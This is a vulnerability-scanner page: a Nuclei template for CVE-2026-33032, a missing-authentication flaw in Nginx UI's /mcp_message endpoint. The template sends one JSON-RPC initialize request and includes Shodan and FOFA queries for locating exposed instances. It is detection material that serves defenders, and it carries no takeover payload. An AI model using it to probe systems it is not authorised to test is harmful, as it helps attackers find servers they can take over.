CVE-2026-33032: Nginx UI - Broken Access Control

2026-04-16 Nginx UI PoC Public

Description

Network attackers can fully control nginx service, including config modification and service restart, leading to complete service takeover.

PoC

id: CVE-2026-33032

info:
  name: Nginx UI - Broken Access Control
  author: DhiyaneshDk
  severity: critical
  description: |
    Network attackers can fully control nginx service, including config modification and service restart, leading to complete service takeover.
  impact: |
    An unauthenticated attacker with a valid MCP session ID can inject arbitrary nginx configurations,create reverse proxies for credential theft, and achieve remote code execution via nginx config primitives.
  remediation: Upgrade to nginx-ui v2.3.4 or later which adds AuthRequired() to /mcp_message.
  reference:
    - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf
    - https://github.com/0xJacky/nginx-ui/commit/413dc631
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33032
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-33032
    epss-score: 0.36299
    epss-percentile: 0.98401
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    product: nginx-ui
    shodan-query: http.title:"Nginx UI"
    fofa-query: title="Nginx UI"
  tags: cve,cve2026,nginx-ui,mcp,unauth,misconfig,vkev

variables:
  string: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /mcp_message HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"{{string}}","version":"1.0"}},"id":1}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"jsonrpc":'
          - '"message":'
          - '"id":'
        condition: and

      - type: status
        status:
          - 400
# digest: 4b0a0048304602210094e06aed2176d478fe8cf6d3dae019d42719ee7a8d9029ff074b5aed3faef7f9022100f45cf7a9c047ed0b1ea064948255b7235ee5ea6b952d4c75f291301b0aeff027:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities